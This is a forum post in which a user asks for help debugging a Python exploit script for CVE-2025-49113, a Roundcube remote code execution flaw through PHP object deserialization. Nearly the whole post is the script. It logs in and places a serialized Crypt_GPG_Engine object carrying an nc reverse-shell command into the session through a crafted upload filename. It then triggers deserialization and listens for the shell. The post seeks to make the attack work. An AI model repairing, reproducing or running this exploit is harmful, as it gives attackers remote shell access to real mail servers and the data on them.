[Python] Script in Python CVE-2025-49113 Not receiving the connection

Discussão em 'Python' iniciado por Stack, Agosto 1, 2025.

  1. Stack

    Stack Membro Participativo

    I'm currently developing an exploit script for CVE-2025-49113, a vulnerability affecting Roundcube versions 1.6.10 and earlier. This issue involves Remote Code Execution (RCE) via improper PHP object deserialization.

    Despite implementing the exploit logic, my script fails to work as expected. The challenge I'm facing is that:


    • The script executes without explicit errors.


    • No reverse shell connection is established.


    • Debugging is complicated due to the lack of error feedback.

    I've carefully reviewed the serialization logic and payload structure but haven't identified the root cause. Would anyone with expertise in:


    • PHP deserialization vulnerabilities


    • Roundcube internals


    • Python-to-PHP payload translation

    be willing to review my code or suggest debugging approaches? Below are key details about the environment:


    • Target: Roundcube 1.6.10


    • Exploit Method: Malicious file upload + session deserialization


    • Symptoms: Successful upload but no payload execution


    import requests
    import sys
    import threading
    import socket
    import time
    from urllib.parse import urlparse
    import argparse
    import re

    parser = argparse.ArgumentParser(description='Exploit script for CVE-2025-49113 by Krypt3d4ng3l (mejorado)')
    parser.add_argument('-H', '--host', dest='target_url', required=True, help='Target URL to exploit')
    parser.add_argument('-u', '--username', dest='username', required=True, help='Username for authentication')
    parser.add_argument('-p', '--password', dest='password', required=True, help='Password for authentication')
    parser.add_argument('-ip', '--ip-addr', dest='IP', required=True, help='Attacker IP for reverse shell')
    parser.add_argument('-port', '--port', dest='port', required=True, help='Attacker port for reverse shell')
    args = parser.parse_args()

    received_connection = False

    def validate_url(target_url):
    try:
    result = urlparse(target_url)
    return all([result.scheme, result.netloc])
    except Exception as e:
    print(f"[!] Error validating URL: {e}")
    return False

    def fetch_token(session, target_url):
    try:
    response = session.get(target_url)
    match = re.search(r'name="_token"\s+value="([^"]+)"', response.text)
    return match.group(1) if match else None
    except Exception as e:
    print(f"[!] Error fetching _token: {e}")
    return None

    def authenticate(session, target_url, username, password):
    print("[*] Authenticating...")
    token = fetch_token(session, target_url)
    if not token:
    print("[-] Failed to get CSRF token")
    return False

    login_url = f"{target_url}/?_task=login"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = {
    '_token': token,
    '_task': 'login',
    '_action': 'login',
    '_timezone': 'UTC',
    'url': '',
    '_user': username,
    '_pass': password,
    }

    response = session.post(login_url, headers=headers, data=data, allow_redirects=True)
    return response.status_code in [200, 302]

    def process_serialized(obj):
    return obj.replace('\\', '\\\\').replace('"', '\\"')

    def calc_payload(IP, port):
    print("[*] Generating payload...")
    shell = f'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | nc {IP} {port} > /tmp/s'
    shell_len = len(shell)
    php_object = f'O:16:"Crypt_GPG_Engine":3:{{s:8:"_process";b:0;s:8:"_gpgconf";s:{shell_len}:"{shell}";s:8:"_homedir";s:0:"";}}'
    return process_serialized(php_object)

    def execute_payload(session, target_url, serialized_payload):
    print("[*] Sending malicious payload...")

    from_field = f"edit-{serialized_payload}"
    filename = f'x|b:0;preferences_time|b:0;preferences|s:{len(serialized_payload)}:"{serialized_payload}";}}.png'

    try:
    with open('test.png', 'rb') as f:
    file_data = f.read()
    except FileNotFoundError:
    file_data = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR"

    files = {
    '_file[]': (filename, file_data, 'image/png')
    }

    params = {
    '_from': from_field,
    '_task': 'settings',
    '_framed': '1',
    '_remote': '1',
    '_id': '1',
    '_uploadid': '1',
    '_unlock': '1',
    '_action': 'upload'
    }

    try:
    response = session.post(f"{target_url}/?_task=settings", params=params, files=files)
    print(f"[+] Response Status Code: {response.status_code}")
    return response.status_code == 200
    except Exception as e:
    print(f"[!] Error during upload: {e}")
    return False

    def trigger_deserialization(session, target_url):
    print("[*] Triggering deserialization by visiting settings page...")
    try:
    session.get(f"{target_url}/?_task=settings", timeout=5)
    print("[+] Trigger sent. Waiting for reverse shell...")
    except Exception as e:
    print(f"[!] Trigger request failed: {e}")

    def start_listener(ip, port):
    global received_connection
    print(f"[*] Starting listener on {ip}:{port} ...")
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((ip, int(port)))
    s.listen(1)
    s.settimeout(15)
    try:
    conn, addr = s.accept()
    received_connection = True
    print(f"[+] Connection received from {addr}")
    conn.sendall(b'whoami\n')
    response = conn.recv(1024)
    print(f"[+] Shell response: {response.decode(errors='ignore')}")
    conn.close()
    except socket.timeout:
    print("[-] No reverse shell received.")

    def main():
    if not validate_url(args.target_url):
    print("[-] Invalid URL format.")
    sys.exit(1)

    listener_thread = threading.Thread(target=start_listener, args=(args.IP, args.port))
    listener_thread.start()
    time.sleep(2)

    session = requests.Session()
    if not authenticate(session, args.target_url, args.username, args.password):
    print("[-] Authentication failed.")
    sys.exit(1)
    print("[+] Authentication successful.")

    serialized_payload = calc_payload(args.IP, args.port)

    if execute_payload(session, args.target_url, serialized_payload):
    trigger_deserialization(session, args.target_url)
    else:
    print("[-] Failed to send payload.")

    listener_thread.join()
    if not received_connection:
    print("[-] Exploit failed or connection blocked.")
    else:
    print("[+] Exploit successful!")

    if __name__ == '__main__':
    main()


    I tried using AI to improve the debug but it does not work, I also tried to compare with a working script in php and I'm not able to know the error. Here is the functional script in PHP to compare with mine.

    Continue reading...

Compartilhe esta Página